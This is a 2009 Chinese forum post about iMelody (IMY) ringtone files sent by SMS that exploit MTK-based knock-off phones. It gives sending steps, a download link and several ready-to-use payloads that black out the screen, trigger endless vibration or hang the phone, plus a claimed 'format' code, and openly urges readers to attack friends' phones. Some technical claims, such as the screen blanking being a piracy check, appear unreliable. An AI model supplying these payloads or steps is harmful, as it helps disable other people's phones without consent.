震动、黑屏短信病毒的来龙去脉

kv47sn

事在天成

级别: 论坛先锋

发送短信
加为好友

精华主题: 0
发帖数量: 230 个
工控威望: 1037 点
下载积分: 951 分
在线时间: 96(小时)
注册时间: 2008-11-20
最后登录: 2022-12-09
查看kv47sn的主题 / 回贴

楼主发表于: 2009-01-25 19:23

只看楼主 | 小中大

为了大家更好测试提供原文件，就给震动一个，别的都是音乐:

http://www.namipan.com/d/9c17927 ... b34666511b9701e0000

操作法一.把刚下载的imy 放到手机里的Audio文件夹,切忌手机里的Audio文件夹，然后点击写短信(不是彩信)(可以用自己的手机编辑铃声然后保存看是不是这个文件家.我自己测试了是这个文件夹)。

操作法二.直接找到你发在手机里的IMY文件.发送文件,以短信或者增强短信形式.这样文件就加进去了.手机短信里会多出来一个音乐符,你写短信时要注意.引着朋友往下看就成.把文件放在后边，其它放中间也成。发给他们试试吧.还想明白点的朋友往下看

一、IMY本来是音乐

    建立一个记事本按一下格式，写入代码：
    BEGIN:IMELODY
    VERSION:1.2
    FORMAT:CLASS1.0
    NAME:Bomb （你铃声的名字，方便你记忆，不过在手机里显示的名字还是.imy前的文件名）
    BEAT:120
    STYLE:S0
    VOLUME:V15
    MELODYledonvibeonbackon*7e4ledoffvibeoffbackoffr1@5)        (ledonvibeonbackon*7e4ledoffvibeoffbackoffr2@15)    (ledonvibeonbackon*7e4ledoffvibeoff backoffr3@15)(ledonvibeonbackon*7e4ledoffvibeoffbackoffr5@25)vibeon(ledonbackon*7e5ledoffbackoff@0) （音符代码）
    END:IMELODY
    最后保存为*.imy用红外线传入你的68或其他机器保存，就可以享受到带震动及闪屏的铃声了
    大家可以对这个一起好好研究研究～

二、IMY被恶搞

另个网友如是说：

黑屏震动死机音符谁有imy源代码
今天朋友给我发了两条短信。内容如下：
1.警告：这条短信不要往下翻了。
    再翻就会黑屏一个小时。
        （无奈本人好奇心太重，翻了一下，结果就黑屏了。按按键还一闪一闪的。结果只能扣电池。郁闷。。。）

   2.相信又能让手机失灵的短信吗？这条就能让你梦想成真。
    不要往下翻了。
    再翻你就得扣电池了。
    再此警告！！

    （可惜这次我又看了，结果手机狂振不止。没办法，扣电池吧。更加郁闷。。。）
     真邪门了，短信能让手机这样！！
     上网查了一下，原因找到了：本人的手机是山寨机！！！

　　为什么这条短消息会让山寨手机黑屏呢？这和手机的MTK平台有关。
     大部分“山寨机”的操作系统使用的是MTK平台。这个MTK平台，因为价格低廉，让不少国内生产MP3音乐播放器的厂家，一夜之间，都能生产手机。
　　这条短信的格式是：(空行)注意(空行)你的手机将黑屏一小时(空行)你信不信……(空行到底)。在这些空行里，隐含了一个音乐提示符。正是这个音乐提示符，让手机黑屏的。这个音乐提示符，是可以测试盗版和正版的一个组件——和电脑上微软XP操作系统一样，不是正版的软件，就会黑屏。

      在MTK解决方案的手机中对于声音文件,都带有一个震动接口,也就是把震动命令放进铃声,使用该铃声的时候,手机会自动震动了!同震动的原理,MTK解决方案中,可能除了震动接口,还有黑屏的命令接口(当然,很可能仅仅是漏洞),在声音文件中加入该命令就可以使手机黑屏了!

三、进一步扩大战果

手机格式化代码！！！！！！！！！！

BEGBEGIN:IMELODY
VERSION:1.2
FORMAT:CLASS1.0
COMPOSER:MIK(23)Fomat
BEAT:180
MELODY:backoffbackofffbackoffbackoffbackoffbackoffbackoffbackoffbackoff
("+<melody>+"@9999999999999999999999999)"

手机黑屏代码

BEGIN:IMELODY
BEAT:1200
MELODYledoffbackoffvibeoffr5ledoffbackoffvibeoffr5@600)
END:IMELODY

手机狂震代码

BEGIN:IMELODY
VERSION:1.2
FORMAT:CLASS1.0
BEAT:100
MELODYledoffledonbackoffbackonvibeon@0)
END:IMELODY

向你们的“山寨朋友”发起猛攻吧

大家慎用..后果自负

imy 放到手机里的Audio文件夹,切忌手机里的Audio文件夹

然后点击写短信(不是彩信)(可以用自己的手机编辑铃声然后保存看是不是这个文件家.我自己测试了是这个文件夹)

选项:

以上各个代码未曾在短信中直接写入源代码发送试验，格式化代码请勿轻易尝试！如果要在短信中直接写入格式化代码，请在尝试其他代码后，确保无危险后才试验。

插入对象我的铃声选取刚才那个IMY文件发送

原理IMY是索爱最早支持的一种春代码的单音节铃声,可以用代码调用手机的解码芯片发出一些声音甚至一些核心指令

四、明白一点(基本标准)

imy的基本格式：
BEGIN:IMELOPYDEBT://执行参数（数字）
MELODY://灯光及震动控制脚本
END:IMELODY
--2008-11-12
BEGIN:IMELODY
VERSION:1.2

五、我们要再搞清楚一点：

IMY详解:

（iMelody Ringtone Format）：这是被专门设计用于EMS中的铃声，与2000年由爱立信提出，并与2001年6月得到3GPP认可成为标准，i-Melody铃声基于文本的方式标志音调，它的标准化工作由IrDA负责。支持EMS的爱立信以及现在的索尼爱立信手机型号多采用i-Melody铃声格式。
IMY是一种手机的铃声格式
它是2000 年由爱立信提出的一种音频...IMY 是中国移动规定的通用彩信文件格式之一,但是支持这一文件格式自播放和铃声的手机并不多。
IMY是属于单音格式（非和弦）直接可以在手机上编写音符
再谈谈MTK为什么会出现这个漏洞,早在MTK6210 年代是没有此漏洞的,这也是有些老款的山寨机,对此类短信免疫的原因 !
到了 MTK6220年代还记得当时山寨吹出的新功能闪信就是发一条短信伴随着屏幕和键盘闪,可以闪出很多莫尔斯电码当时看看挺个性后来可能厂商不宣传,加上大家觉得此功能鸡肋,也不再提它了,而"强大"的MTK却保留了次功能,以致漏洞的产生!

另外发几个黑屏短信和震动短信的代码以及解密请勿滥用,否则后果自负))
例:
BEGIN:IMELODY.
VERSION:1.2
FORMAT:CLASS1.0
BEAT:100
MELODYledoffledonbackoffbackonvibeon@0)
END:IMELODY

根据IMY格式语法,这条短信就是个闪光震动代码:
(ledoff ledon , backoff backon , vibeon , @0)
[开关LED(闪动),开关背景灯(闪动),开震动],重复无